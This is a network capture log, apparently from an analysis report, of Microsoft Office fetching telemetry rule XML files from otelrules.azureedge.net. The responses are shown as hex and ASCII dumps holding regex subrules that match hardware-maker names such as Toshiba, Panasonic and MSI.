Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:35 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210835Z-r1cf579d778zvkpnhC1EWRv23g00000000r0000000004kh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8c022bf0-601e-0070-5bcb-45a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210835Z-1746fd949bdkw94lhC1EWRxuz400000004w000000000kxn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:38 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: de9014ac-301e-0051-7cc5-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210838Z-1746fd949bdlqd7fhC1EWR6vt000000004zg000000004kha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:38 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210838Z-r1cf579d778qlpkrhC1EWRpfc8000000014g000000005668 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210838Z-r1cf579d7782ctslhC1EWRfbrw00000000u000000000d8vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210838Z-r1cf579d778t5c2lhC1EWRce3w000000014g0000000051st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210838Z-r1cf579d778d5zkmhC1EWRk6h800000000wg0000000086rg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:40 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:40 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 00b51f18-a01e-000d-6fcc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210840Z-1746fd949bdb8xvchC1EWRmbd400000004n000000000shv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:40 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:40 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210840Z-r1cf579d778kr8xrhC1EWRfkun00000000ug00000000aud4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:40 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:40 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210840Z-r1cf579d778qlpkrhC1EWRpfc8000000011g00000000bm2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:40 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 4ebe80de-801e-0047-51c8-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210840Z-1746fd949bdjrnwqhC1EWRpg2800000004sg00000000nq01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:40 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210840Z-r1cf579d7789trgthC1EWRkkfc000000011000000000ckqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
